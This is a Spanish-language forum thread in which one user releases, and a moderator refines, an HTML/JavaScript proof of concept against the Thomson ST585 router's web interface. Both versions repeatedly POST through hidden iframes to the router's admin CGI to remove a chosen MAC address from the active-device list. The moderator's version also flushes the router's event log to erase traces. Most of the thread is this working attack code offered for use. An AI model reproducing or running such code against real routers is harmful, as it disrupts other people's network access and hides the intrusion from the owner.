Autor Tema: Desapareciendo dispositivos en la interface web (Modem/Router Thomson st585)  (Leído 6552 veces)

0 Usuarios y 1 Visitante están viendo este tema.

preth00nker

  • *
  • Mensajes: 130
  • Liked: 1
  • mov [MyBrain], IA
Bien, libero el PoC con licencia GPL ya que aún puede añadirse varias mejoras como limpiar los logs (del servidor web) después de cada disparo o darle una mejor interface gráfica a la herramienta.
El funcionamiento es muy básico; el portal del router antes mencionado permite depurar la lista de dispositivos activos manualmente, de forma que lo que hace el siguiente script es borrar el dispositivo con la mac proporcionada por el usuario mediante la acción de un método post secundado por un iframe, hasta ahora el único modelo del cual he podido confirmar su funcionamiento es el mencionado en el título del post.
cualquier duda quedo a su disposición.


Modificado (quité del código mis notas personales jeje gracias hakim y tmb por las modificaciones)!
Código: [Seleccionar]
<html>
<head>
<script>

 var hw="";
 var  addrss="";
 var  timeR="";
function f(){

  if (hw==""){
   hw=prompt("Proporcionar su HW","00:00:00:00:00:00");
   addrss=prompt("Proporcionar la ip`del router"," 192.168.1.254");
  }

  document.getElementById('31').value=hw;
  document.getElementById('foo').action="http://"+addrss+"/cgi/b/_dev_/cfg/?be=0&l0=3&l1=0&name=&key="+hw;
  document.getElementById('foo').submit();

}
</script>
</head>
<body onLoad="setInterval('f()',3000);" bgcolor=f0f0f0>
<h1>Clean the house<br>Thomson st585</h1>
<h3>By preth00nker</h3>



 <form METHOD=POST action="" target="a" id=foo>
  <input name=0 value="22" type=hidden >
  <input name=1 value="" type=hidden >
  <input name=31 value="" type=hidden id=31>
  <input name=32 value="hostname" type=hidden>
  <input name=33 value="0" type=hidden>
  
 </form>
 <iframe src="" name="a" width=0 height=0>
</body>
</html>

un saludo!
« Última Modificación: mayo 16, 2010, 06:02:58 pm por preth00nker »
Mov MyHeart, 4C6F7665h!!!

hkm

  • Moderador
  • *
  • Mensajes: 1244
  • Liked: 285
    • Hakim.Ws
Aqui esta con el flush del historial y algunos ajustes:

Código: [Seleccionar]
<html>
<head>
<script>
var hw="";

function f(){
  if (hw==""){
   hw=prompt("Proporcionar la MAC","00:00:00:00:00:00");
   addrss=prompt("Proporcionar la IP del router"," 192.168.1.254");
  }

  document.getElementById('31').value=hw;
  document.getElementById('foo').action="http://"+addrss+"/cgi/b/_dev_/cfg/?be=0&l0=3&l1=0&name=&key="+hw;
  document.getElementById('foo').submit();

  document.getElementById('b').src="http://"+addrss+"/cgi/b/events/flush/?be=0&l0=0&l1=2";
}
</script>
</head>
<body onLoad="f();setInterval('f()',3000);" bgcolor=f0f0f0>
<h1>Clean the house<br>Thomson st585</h1>
<h3>By preth00nker</h3>

 <form METHOD=POST action="" target="a" id=foo>
  <input name=0 value="22" type=hidden >
  <input name=1 value="" type=hidden >
  <input name=31 value="" type=hidden id=31>
  <input name=32 value="hostname" type=hidden>
  <input name=33 value="0" type=hidden>
 </form>
 <iframe src="" name="a" width=0 height=0></iframe>
 <iframe src="" id="b" width=0 height=0></iframe>
</body>
</html>

A que te refieres en tu codigo con "Escalando privilegios"?


Saludos.